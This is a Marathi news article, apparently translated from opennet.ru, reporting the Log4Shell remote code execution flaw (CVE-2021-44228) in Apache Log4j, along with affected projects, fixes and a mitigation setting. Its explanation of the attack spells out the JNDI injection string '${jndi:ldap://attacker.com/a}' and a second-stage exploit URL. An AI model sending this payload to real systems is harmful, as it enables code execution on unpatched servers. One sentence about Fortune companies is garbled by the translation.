Apache Log4j मधील आपत्तीजनक असुरक्षा अनेक Java प्रकल्पांना प्रभावित करते

Apache Log4j मध्ये, Java ऍप्लिकेशन्समध्ये लॉगिंग आयोजित करण्यासाठी एक लोकप्रिय फ्रेमवर्क, एक गंभीर भेद्यता ओळखली गेली आहे जी लॉगमध्ये “{jndi:URL}” फॉरमॅटमधील विशेष स्वरूपित मूल्य लिहिल्यावर अनियंत्रित कोड कार्यान्वित करण्यास अनुमती देते. हा हल्ला जावा ऍप्लिकेशन्सवर केला जाऊ शकतो जे बाह्य स्त्रोतांकडून प्राप्त केलेली मूल्ये लॉग करतात, उदाहरणार्थ, त्रुटी संदेशांमध्ये समस्याप्रधान मूल्ये प्रदर्शित करताना.

हे नोंदवले गेले आहे की Apache Struts, Apache Solr, Apache Druid किंवा Apache Flink सारखे फ्रेमवर्क वापरणारे जवळजवळ सर्व प्रकल्प स्टीम, Apple iCloud, Minecraft क्लायंट आणि सर्व्हरसह समस्येमुळे प्रभावित झाले आहेत. अपाचे स्ट्रट्स फ्रेमवर्कमधील गंभीर असुरक्षिततेच्या इतिहासाची पुनरावृत्ती करून, असुरक्षिततेमुळे कॉर्पोरेट ऍप्लिकेशन्सवर मोठ्या प्रमाणावर हल्ले होऊ शकतात, अशी अपेक्षा आहे, जी एका अंदाजानुसार, फॉर्च्युनच्या 65% द्वारे वेब ऍप्लिकेशन्समध्ये वापरली जाते. 100 कंपन्या असुरक्षित सिस्टमसाठी नेटवर्क स्कॅन करण्याच्या प्रयत्नांसह.

एक कार्यरत शोषण आधीच प्रकाशित केले गेले आहे, परंतु स्थिर शाखांसाठी निराकरणे अद्याप संकलित केलेली नाहीत या वस्तुस्थितीमुळे समस्या वाढली आहे. CVE ओळखकर्ता अद्याप नियुक्त केलेला नाही. निराकरण फक्त log4j-2.15.0-rc1 चाचणी शाखेत समाविष्ट आहे. भेद्यता अवरोधित करण्यासाठी उपाय म्हणून, log4j2.formatMsgNoLookups पॅरामीटर सत्य वर सेट करण्याची शिफारस केली जाते.

समस्या या वस्तुस्थितीमुळे उद्भवली आहे की log4j लॉगच्या लाइन आउटपुटमध्ये विशेष मुखवटे "{}" वर प्रक्रिया करण्यास समर्थन देते, ज्यामध्ये JNDI (जावा नेमिंग आणि निर्देशिका इंटरफेस) क्वेरी कार्यान्वित केल्या जाऊ शकतात. अटॅक "${jndi:ldap://attacker.com/a}" प्रतिस्थापनासह स्ट्रिंग पास करण्यापर्यंत उकळतो, ज्यावर प्रक्रिया केल्यावर log4j आक्रमणकर्ता.com सर्व्हरला Java क्लासच्या मार्गासाठी LDAP विनंती पाठवेल. . आक्रमणकर्त्याच्या सर्व्हरद्वारे परत केलेला मार्ग (उदाहरणार्थ, http://second-stage.attacker.com/Exploit.class) वर्तमान प्रक्रियेच्या संदर्भात लोड आणि कार्यान्वित केला जाईल, जो आक्रमणकर्त्याला वर अनियंत्रित कोड कार्यान्वित करण्यास अनुमती देतो वर्तमान अनुप्रयोगाच्या अधिकारांसह प्रणाली.

परिशिष्ट 1: असुरक्षा ओळखकर्ता CVE-2021-44228 नियुक्त केला गेला आहे.

परिशिष्ट 2: प्रकाशन log4j-2.15.0-rc1 द्वारे जोडलेले संरक्षण बायपास करण्याचा मार्ग ओळखला गेला आहे. एक नवीन अद्यतन, log4j-2.15.0-rc2, असुरक्षिततेविरूद्ध अधिक संपूर्ण संरक्षणासह प्रस्तावित केले आहे. चुकीच्या पद्धतीने फॉरमॅट केलेल्या JNDI URL वापरण्याच्या बाबतीत असामान्य समाप्तीच्या अनुपस्थितीशी संबंधित बदल हा कोड हायलाइट करतो.

स्त्रोत: opennet.ru